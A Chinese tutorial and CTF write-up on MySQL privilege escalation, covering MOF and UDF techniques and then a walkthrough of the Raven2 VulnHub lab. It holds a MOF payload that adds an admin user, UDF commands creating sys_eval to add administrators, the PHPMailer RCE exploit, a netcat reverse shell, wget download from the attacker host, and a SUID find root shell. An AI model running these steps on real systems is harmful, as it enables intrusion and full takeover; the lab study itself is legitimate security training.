提权实战!

就是提升权限,当我们拿到一个shell权限较低,当满足MySQL提权的要求时,就可以进行这个提权。

MySQL数据库提权(Privilege Escalation)是指攻击者通过技术手段,从低权限的数据库用户提升到更高权限(如root管理员),从而获得对数据库或操作系统的控制权。这种行为通常属于非法入侵,严重威胁数据安全。

1. MySQL提权必要条件

  1. 有root权限,以system权限运行
  2. 可以执行SQL语句

1.1. 获取root密码

  1. 查看数据库关键配置文件

关键字:config,coon,sql,data,inc,database

可以以SQLconnection为一个列子看看

在以inc为后缀的文件中MySQL的用户密码都在,这就是数据库关键文件

  1. 下载MySQL安装路径下的数据文件

(1)安装路径下的 data 目录中存放的是数据库的数据信息

(2)root 账号密码存储在 mysql 数据库下的 user 表中

(3)完整路径=安装路径+\data\mysql\user.MYD

这个就是当我们拿到shell后,找到MySQL安装路径,在MySQL中data文件的mysql文件夹中的user.MYD,

user.MYD文件中有密码,不过是经过MD5加密的,我们可以进行解码

打开如下图所示

去cmd5网站解密,🆗完成

  1. 暴力破解

2. MySQL 提权的方式

2.1. MOF 提权

原理

利用了 C:\Windows\System32\wbem\MOF 目录下的 nullevt.mof 文件,利用该文件每分钟会去执行一次的特性,向该文件中写入 cmd 命令,就会被执行。

条件

  • 针对windows低系统,如xp,server2003.
  • 需要对C:\Windows\System32\wbem\MOF目录具有读写权限。
  • 找到目录写入mof文件。

2.1.1. 提权操作

1、在可写目录中上传 mof 文件。把 mof 文件上传到 C:/wmpub/nullevt.mof

2、把这个文件复制到 C:/Windows/System32/wbem/MOF/nullevt.mof 目录下 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

将下面这段代码复制到 mof 后缀的文件中

# pragma namespace("\.\root\subscription")

instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2";

Query = "Select * From InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL"; };

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new

ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

把这个 mof 文件上传到目标机中,可以修改代码,进行命令执行。

目前 mof 提权方法用的比较少,建议使用 udf 脚本进行 MySQL 数据库提权

2.1.2. 应急措施

  1. 停止winmgmt服务:net stop winmgmt
  2. 将文件先备份,再删除文件夹:C:\Windows\System32\wbem\Repository
  3. 再启动winmgmt服务:net start winmgmt

2.2. UDF提权

原理

UDF(user defind funtion)用户自定义函数,通过添加新的函数,对数据库进行命令执行。

2.2.1. 收集信息

进行udf提权是有条件的,符合条件方可进行

  1. select version(); 获取数据库版本
  2. select user(); 获取数据库用户名,因为我们 要拥有最高权限第一标题说过
  3. select @@basedir; 获取数据库安装目录
  4. show variables like '%plugin%'; 查看 plugin 路径

2.2.2. Windows-udf提权

UDF可以理解为MySQL的函数库,用来放一些新的函数(自定义函数)。

在符合MySQL的语法情况下,可以调用UDF文件中的函数,

利用这一特性,我们可以上传一个恶意的udf文件(主要功能:执行命令 udf.dll),使MySQL调用dll中的函数实现某些功能(MySQL本身不能执行命令)。

2.2.2.1. 条件
  1. MySQL版本>5.1

udf.dll文件必须放在MySQL安装目录的 MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 MySQL\Lib\Plugin\文件夹,(当我们创建完后,还可使用4指令查看是否成功)然后将 udf.dll 导入到该 目录。(后面工具使用情况下也是一样的,需将文件夹创建好才可以将udf.dll文件导入

  1. MySQL版本<5.1

udf.dll 文件在 windows server 2003 下放置于 c:/windows/system32/目录,在 windows server 2000 下放置在 c:/winnt/system32/目录。掌握 mysql 数据库的 root 账户,从而拥有对 mysql 的 insert 和 delete 权限,以创建和抛弃函数。

2.2.2.2. 提权步骤

对于数据库的写入文件什么的,会有一个 secure_file_priv 函数,该函数是用来限制读写的,它具有三种方式:同时在学习笔记的数据库提权数据库权限获取中手写木马也有涉及

1、secure_file_priv 的值为 NULL,表示限制 mysql 不允许导入|导出

2、当 secure_file_priv 的值为/tmp/ ,表示限制 mysql 的导入|导出只能发生在/tmp/目录 下(其他目录也可以)

3、当 secure_file_priv 的值没有具体值时,表示不对 mysql 的导入|导出做限制

打开虚拟机,首先对secure_file_priv 设置为空,只有为空时才能不对MySQL的输入和输出有限制

2.2.2.2.1. DLL 文件的获取方法:

sqlmap/data/udf/mysql 目录下,在 Windows 目录中有 32 位和 64 位的 dll 文件 (MySQL 位数)。

1,解码 将这个被sqlmap加密的dll文件进行解码

文件夹中的 dll 文件是通过异或编码的,可以使用 sqlmap/extract/cloak.py 进行解码

python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

2,通过loadfile加载刚刚解码的内容, 将解码的内容写入到 lib/plugin

将解码后的 DLL 文件(包含用户自定义函数的 DLL 文件)上传到可写目录,再导入 到 MySQL\lib\plugin\中

select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';

将 DLL 中的函数引入到 MySQL 数据库中

3,创建自定义函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

创建名为 sys_eval 的函数,返回值为 string 类型,调用的文件是 lib_mysqludf_sys.dll

注意:需要创建.dll 文件中存在的函数,可以使用十六进制编辑器打开.dll 文件,查看可以被创建的函数。

使用该函数去执行系统命令提权

查看当前用户权限

select sys_eval("whoami");

创建账号并提升为管理员权限

select sys_eval("net user winhex passw@ord /add");

select sys_eval("net localgroup administrators winhex /add");

将之前引入的函数删除掉防止被管理员发现,防止其他攻击者使用

drop function sys_eval; delete from mysql.func where name='sys_eval';

2.2.2.2.2. 工具使用UDF提权

由于我电脑Java环境不适用于该工具,所以使用另外一个Java版本,启动该工具要在Java文档的bin文档使用命令行,方可使用。

右键新增添加,如图所示:

当MySQL存在\Lib\Plugin\ 时工具导入成功

创建文件如下图

查看当前用户权限

select sys_eval("whoami"); 发现具有回应,说明函数eval创建成功

2.2.3. Linux-udf提权

  • 通过自定义函数来实现任何命令
  • 包含自定义函数的文件为 .so 文件
2.2.3.1. 利用条件

•在 my.ini 的[mysqld]下,添加 secure_file_priv="",不限制导入导出路径

•具有数据库 root 账户的密码,且 mysql 数据库以 root 权限运行

•具有 sql 语句的执行权限(一般都具有)

•导出目录可写( secure_file_priv 函数

•系统中的 selinux 处于关闭状态

2.2.3.2. 提权步骤
  1. 查找插件库的路径

show variables like '%plugin%';

使我们找到 plugin ,因为我们需要将后续创建的函数导入该文件夹中,上面说过udf解码后的文件必须在该文件夹中才可以使用

找到对应操作系统数据库的 UDF 库文件

sqlmap-master\data\udf\mysql\linux\64 下的 lib_mysqludf_sys.so_文件

将 so 文件(UDF 库文件)进行 16 进制编码

将 so 文件的内容解码,写入到 mysql 插件库目录中

select unhex('so 文件的 16 进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

查看 udf 库所支持的函数

注意:需要创建.so 文件中存在的函数,可以使用十六进制编辑器打开.so 文件,查看可以被创建的函数。

创建函数

写入之后,执行创建函数的命令,就会创建一个 sys_eval 的函数,用来执行系统命 令,这个函数执行的系统命令全部都是 system 权限。

create function sys_eval returns string soname 'xxx.so'; 执行系统命令,提权

sys_eval 这个函数就可以执行系统命令,括号里输入系统命令即可。

查看当前用户权限

select sys_eval("whoami");

创建账号并提升为管理员权限不需要判断 mysql 的版本,直接查看路径,直接写 so 文件,Linux 里面的文件是 so 文 件。

getshell 之后,在终端输入 whoami,发现只是 apache 用户权限。寻找网站的数据库配置文件,查看数据库的账号密码,可以看到账号 root 密码 root。登录 mysql 数据库,输入 show variables like '%plugin%';查看 plugin 路径。得到的结果为:

我们把 so 文件进行 16 进制编码,再解码写入目录中,返回为 true,写入成功。

select unhex('so 文件的 16 进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

写入之后,执行创建函数的命令,就会创建一个 sys_eval 的函数,用来执行系统命 令,这个函数执行的系统命令全部都是 system 权限。 create function sys_eval returns string soname 'xxx.so'; sys_eval 这个函数就可以执行系统命令,括号里输入系统命令即可。

select sys_eval('whoami')

3. UDF提权实战

使用虚拟机中的kali,再开启靶机Raven2

靶机介绍:

靶场地址:https://www.vulnhub.com/entry/raven-2,269/靶机描述:Raven 2 是一个中级 boot2root VM。有 4 个 flag 要捕获。

目标:获取到四个 flag

3.1. 准备工作

事先我们的kali和raven要处于同一个网段,这样就可以使用工具 namp 获取靶机的IP地址进行访问

ifconfigLinux中查询IP

kali IP地址:192.168.119.128

使用nmap获取靶机IP,使用arp-scan也可以

nmap -sP 192.168.119.1/24

arp-scan -l

发现使用arp-scan扫描出了D段为133的IP地址,并没有扫出128的

所以大概率靶机的IP为:192.168.119.133

再使用nmap探测IP开放的端口

nmap -sV -p- 192.168.119.133

3.2. 进行访问并查找flag

浏览器访问该地址:192.168.119.133/80

当然可以不需要端口,因为HTTP服务端口本来就是80

接下来使用dirb爆破网站的子目录,看看能不能获取一些版本信息

dirb http://192.168.119.133:80

它扫描出来许多的分站,从一级目录开始扫

我们可以对这些进行访问选中 /vendor 目录

当我们打开第一个文件,发现是一篇阅读文件,没找到什么

打开PATH文件,找到第一个flag->flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在readme.md文件发现PHPmailer 插件 是一个漏洞

再打开下面的version文件可以看到PHPmailer 插件的版本为 5.2.16

3.2.1. 漏洞利用

现在使用searchsploit查询是否有这个版本的exp

  1. “exp”是“exploit”的缩写,意为漏洞利用代码。在安全领域,它特指针对特定漏洞编写的攻击程序或脚本,用于触发漏洞、获取系统权限或执行其他恶意操作。
  2. PHPMailer:一个PHP邮件库,历史版本中存在已知漏洞。
  3. searchsploit:用户提到的命令应为searchsploitExploit-DB的搜索工具),用于查询公开的漏洞利用代码(exp)。

searchsploit PHPMailer 本版本是 5.2.16 ,找到最近的python脚本

3.2.2. 确定漏洞利用脚本地址

3.2.2.1. 法 一

使用 -p 参数显示单个条目的完整路径

如果已知漏洞编号或相对路径(例如 php/webapps/40974.py),可直接运行:

searchsploit -p php/webapps/40974.py

输出示例:

Exploit: PHPMailer < 5.2.18 - Remote Code ExecutionURL: https://www.exploit-db.com/exploits/40974Path: /usr/share/exploitdb/exploits/php/webapps/40974.py
3.2.2.2. 法二

Python攻击脚本的地址是通过以下步骤确定的:

使用searchsploit搜索漏洞
执行命令 searchsploit PHPMailer,工具会列出所有匹配的漏洞利用脚本及其路径。例如:

  1. php/webapps/40974.py PHPMailer < 5.2.18 - Remote Code Execution
  2. 拼接完整路径
    searchsploit的本地数据库默认安装在 /usr/share/exploitdb/,因此脚本的完整路径为:
    /usr/share/exploitdb/exploits/php/webapps/40974.py

复制脚本到目标目录
使用 cp 命令将脚本复制到指定位置(如 /root):

  1. cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

关键点

  • searchsploit 输出的路径是相对于本地漏洞库根目录(/usr/share/exploitdb/)的。
  • 复制时需要补全完整路径,格式为:/usr/share/exploitdb/exploits/[分类]/[子目录]/[脚本名]


将脚本复制出来

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

然后cat指令打开该文件对该脚本进行配置修改

3.2.3. vim编辑脚本

开启了40974.py这一个python脚本,使用它向网址写入一个后门文件

  1. vim 编辑文本 vim 40974.py

按i进入编辑

使用红线标记的都为需要更改的

目标IP下一个修改为任意的PHP文件名

注:目标网址路径一定要正确

目标路径在获得第一个flag时有,将该地址修改上去

更改好如下图所示,再先按Esc :wq 保存退出

现在信息已经完毕,接下来使用python3运行该脚本,运行成功的标志为 [+]

运行成功,成功在目录正生成shell文件

保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件best.php

3.2.4. 对网址进行命令操作

  1. 建立监听

nc -lvp 9999 ----->9999为我的端口

注意:我这种现象属于当时vim编辑脚本的时候出现了问题,我把我的kali地址打错了导致错误,找出错误花了一分钟

将我的IP改正确

再次进行监听,并且访问之前创建的文件

发现还是监听不了,仔细观察脚本代码是否有哪里错误,发现路径多了一层vendor

改回来后,在访问best.php,监听成功!!!!

返回成功获得shell

python -c 'import pty; pty.spawn("/bin/bash")' 使用该条命令获取交互式 shell ,让我们更方便操作

接着我们尝试使用 find 查找 flag 文件

find / -name flag*

找了许多文件,慢慢找

直接在kail中找

/var/www/flag2.txt

找到

因为flag3是图片类型,所以使用网址去看

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

接下来还有一个flag4,肯定在以下目录中。找根目录

ls wordpress 打开这个,查看配置文件,因为我们需要拿到MySQL权限用来查找flag

关键字:config,coon,sql,data,inc,database

cd wordpress :切换至该目录

cat wp-config.php 打开该文件

打开文件后发现是MySQL文件,文件中还有MySQL账号密码

username:root

password:R@v3nSecurity

然后就是登入这个数据库了

mysql -u root -pR@v3nSecurity

直接登入数据库

3.3. 对数据库进行udf提权

由于 MySQL 支持 UDF,支持我们自定义函数来扩展功能。当我们创建带有调用 cmd 函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入 Mysql 时, 其中的调用函数拿出来当作 mysql 的函数使用。

提权条件

1)mysql 数据库的 root 权限

2)secure_file_priv 的值为空

3)如果 mysql 版本大于 5.1,udf.dll 文件必须放置在 mysql 安装目录的 lib\plugin 文件夹下

4)如果 mysql 版本小于 5.1, udf.dll 文件在 windows server 2003 下放置于 c:\windows\system32 目录,在 windows server 2000 下放置在 c:\winnt\system32 目录。查看权限 SHOW GRANTS;

3.3.1. 流程

  1. 查看目前权限

show grants;

  1. 查看数据库版本,一定要是大写的,因为小写的试过了

Select @@version();

版本大于5.1,因此我们接下来要创建文件

  1. 再查看secure_file_priv 的值符不符合条件

show global variables like 'secure%';

符合条件,MySQL版本大于5.1,所以要把udf这个文件放置在MySQL安装目录lib\plugin文件下才能创建自定义函数。

  1. 使用kali漏洞库搜索udf

这里使用1518.c 将1518.c下载到本地,再cp到root目录下

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root

  1. 接下来将下载好的文件解码

先执行 gcc -g -c 1518.c

再执行 gcc -g -shared -o test.so 1518.o -lc

命令解释

-g 生成调试信息

-c 编译(二进制)

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名

-lc:-l 库 c 库名

  1. 导入靶机tmp目录

tmp目录

  • tmp 目录通常权限宽松,需防范恶意文件注入(如木马、脚本)。
  • 可以利用开启kali本地HTTP服务,让靶机下载kali中test.so到靶机的tmp目录

在kali中开启http服务

python3 -m http.server 80

在shell中启动下载test.so文件

wget http://192.168.119.128/test.so

当我们总是连接不上的时候,应该是IP地址更改了

下载成功

  1. 登入数据库创建自定义函数

使用mysql库,创建数据表test

use mysql;

create table test(line blob);

创建如图所示

  1. 将test.so文件插入

insert into test values(load_file('/tmp/test.so')); 插入数据

检查是否插入成功:select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';

#( test 表成功插入二进制数据,然后利用 dumpfile 函数把文件导出 outfile 多行导出,dumpfile 一行导出 outfile 会有特殊的转换,而 dumpfile 是原数据导出新建存储函数)

  1. 创建自定义函数

create function do_system returns integer soname 'test.so';

#(创建自定义函数 do_system 类型是 integer,别名 soname 文件名字然后查询函数是否创建成功)

select * from mysql.func;

查询函数是否创建成功

select do_system('chmod u+s /usr/bin/find');

#(调用 do_system 函数来给 find 命令所有者的 suid 权限,使其可以执行 root 命令)

  1. 提权操作

退出 mysql,使用/usr/bin/find 提权

提权之前的权限如下图

进行提权

touch test

find test -exec "/bin/sh" \;

成功提权为 root 权限

  1. 拿到第四个flag

进入root目录拿第四个flag

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/78815.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在虚拟机上修改saprk的版本

之前安装的spark版本是3.4&#xff0c;现在实验需要的版本是2.4。现在需要更改spark的版本。 方法很简单&#xff1a; 直接将原有的spark3.4的文件删除&#xff0c;再安装2.4版本。 安装过程之后再写。Spark2.1.0入门&#xff1a;Spark的安装和使用_厦大数据库实验室博客

文献分享: DESSERT基于LSH的多向量检索(Part3.2.外部聚合的联合界)

原论文 文章目录 1. \textbf{1. } 1. 定理 4.2 \textbf{4.2} 4.2的内容 1.1. \textbf{1.1. } 1.1. 一些符号 1.2. \textbf{1.2. } 1.2. 定理内容 3. \textbf{3. } 3. 联合界限 Ps. \textbf{Ps. } Ps. 运行时间分析 1. \textbf{1. } 1. 定理 4.2 \textbf{4.2} 4.2的内容 1.1. \t…

MIPI协议介绍

MIPI协议介绍 mipi 协议分为 CSI 和DSI,两者的区别在于 CSI用于接收sensor数据流 DSI用于连接显示屏 csi分类 csi 分为 csi2 和 csi3 csi2根据物理层分为 c-phy 和 d-phy, csi-3采用的是m-phy 一般采用csi2 c-phy 和 d-phy的区别 d-phy的时钟线和数据线是分开的,2根线一对…

【中间件】nginx反向代理实操

一、说明 nginx用于做反向代理&#xff0c;其目标是将浏览器中的请求进行转发&#xff0c;应用场景如下&#xff1a; 说明&#xff1a; 1、用户在浏览器中发送请求 2、nginx监听到浏览器中的请求时&#xff0c;将该请求转发到网关 3、网关再将请求转发至对应服务 二、具体操作…

在3ds Max中视口显示为黑色或深灰色

在3ds Max中视口显示为黑色或深灰色 Autodesk Support 2023年10月8日 涵盖的产品和版本 问题&#xff1a; 在3ds Max中&#xff0c;使用“深”UI方案时视口显示为完全黑色&#xff0c;使用“浅”UI方案时视口显示为深灰色。 原因&#xff1a; 已为用户界面禁用Gamma校正。…

Vue.js 中 v-if 的使用及其原理

在 Vue.js 的开发过程中&#xff0c;条件渲染是一项极为常见的需求。v-if指令作为 Vue.js 实现条件渲染的关键手段&#xff0c;能够根据表达式的真假来决定是否渲染某一块 DOM 元素。它在优化页面展示逻辑、提升用户体验等方面发挥着重要作用。接下来&#xff0c;我们就深入探讨…

Verilog:LED呼吸灯

模块接口说明 信号方向描述clk输入系统时钟&#xff08;100MHz&#xff0c;周期10ns&#xff09;rst_n输入低电平有效的异步复位信号led_en输入总使能信号&#xff08;1开启呼吸灯&#xff0c;0关闭&#xff09;speed_en输入呼吸速度调节使能信号speed[2:0]输入呼吸速度分级&a…

我的计算机网络(总览篇)

总览--网络协议的角度 在一个庞大的网络中&#xff0c;该从哪里去了解呢&#xff1f;我先细细的讲一下我们访问一个网站的全部流程&#xff0c;当我们的电脑连上网络的时候&#xff0c;就会启动DHCP协议&#xff0c;来进行IP地址&#xff0c;MAC地址&#xff0c;DNS地址的分配…

开源的PMPI库实现及示例代码

开源的PMPI库实现及示例代码 PMPI (Profiling MPI) 是MPI标准中定义的接口&#xff0c;允许开发者通过拦截MPI调用进行性能测量和调试。以下是几个常用的开源PMPI库实现&#xff1a; 1. MPICH的PMPI接口 MPICH本身提供了PMPI接口&#xff0c;可以直接使用。 2. OpenMPI的PM…

Unity 基于navMesh的怪物追踪惯性系统

今天做项目适合 策划想要实现一个在现有的怪物追踪系统上实现怪物拥有惯性功能 以下是解决方案分享&#xff1a; 怪物基类代码&#xff1a; ​ using UnityEngine; using UnityEngine.AI;[RequireComponent(typeof(NavMeshAgent))] [RequireComponent(typeof(AudioSource))] …

PyTorch进阶学习笔记[长期更新]

第一章 PyTorch简介和安装 PyTorch是一个很强大的深度学习库&#xff0c;在学术中使用占比很大。 我这里是Mac系统的安装&#xff0c;相比起教程中的win/linux安装感觉还是简单不少&#xff08;之前就已经安好啦&#xff09;&#xff0c;有需要指导的小伙伴可以评论。 第二章…

【区块链安全 | 第三十八篇】合约审计之获取私有数据(二)

文章目录 前言漏洞代码代码审计攻击步骤修复/开发建议审计思路前言 在【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码进行案例分析。 漏洞代码 // SPDX-Licens…

《微服务与事件驱动架构》读书分享

《微服务与事件驱动架构》读书分享 Building Event-Driver Microservices 英文原版由 OReilly Media, Inc. 出版&#xff0c;2020 作者&#xff1a;[加] 亚当 • 贝勒马尔 译者&#xff1a;温正东 作者简介&#xff1a; 这本书由亚当贝勒马尔&#xff08;Adam Bellemare…

小刚说C语言刷题——第22讲 二维数组

昨天我们讲了一维数组&#xff0c;今天我们来讲二维数组。 1.定义 二维数组是指在数组名后跟两个方括号的数组。 2.语法格式 数据类型 数组名[下标][下标] 例如&#xff1a;int a[5][9];//表示5行9列的数组 3.访问二维数组元素 格式&#xff1a;数组名[行坐标][列坐标]…

Vue 大文件分片上传组件实现解析

Vue 大文件分片上传组件实现解析 一、功能概述 1.1本组件基于 Vue Element UI 实现&#xff0c;主要功能特点&#xff1a; 大文件分片上传&#xff1a;支持 2MB 分片切割上传实时进度显示&#xff1a;可视化展示每个文件上传进度智能格式校验&#xff1a;支持文件类型、大小…

「逻辑推理」AtCoder AT_abc401_d D - Logical Filling

前言 这次的 D 题出得很好&#xff0c;不仅融合了数学逻辑推理的知识&#xff0c;还有很多细节值得反复思考。虽然通过人数远高于 E&#xff0c;但是通过率甚至不到 60%&#xff0c;可见这些细节正是出题人的侧重点。 题目大意 给定一个长度为 N N N 的字符串 S S S&#…

腾讯后台开发 一面

一、手撕 合并升序链表 合并两个排序的链表_牛客题霸_牛客网 顺时针翻转矩阵 顺时针旋转矩阵_牛客题霸_牛客网 二、八股 1、静态变量和实例变量 public class House {public static String buildDate "2024-10-27"; // 静态变量public String color; // 实…

Unity 动画

Apply Root Motion 勾选的话就会使用动画片段自带的位移 Update Mode &#xff08;动画重新计算骨骼位置转向缩放的数值&#xff09;&#xff1a; Normal &#xff1a; 随Update走&#xff0c;每次Update都计算Animate Physics &#xff1a;与 fixed Update() 同步&#xff0…

NDT和ICP构建点云地图 |【点云建图、Ubuntu、ROS】

### 本博客记录学习NDT&#xff0c;ICP构建点云地图的实验过程&#xff0c;参考的以下两篇博客&#xff1a; 无人驾驶汽车系统入门&#xff08;十三&#xff09;——正态分布变换&#xff08;NDT&#xff09;配准与无人车定位_settransformationepsilon-CSDN博客 PCL中点云配…

基于HTML + jQuery + Bootstrap 4实现(Web)地铁票价信息生成系统

地铁票价信息表生成系统 1. 需求分析 1.1 背景 地铁已经成为大多数人出行的首选,北京地铁有多条运营线路, 截至 2019 年 12 月,北京市轨道交通路网运营线路达 23 条、总里程 699.3 公里、车站 405 座。2019 年,北京地铁年乘客量达到 45.3 亿人次,日均客流为 1241.1 万人次…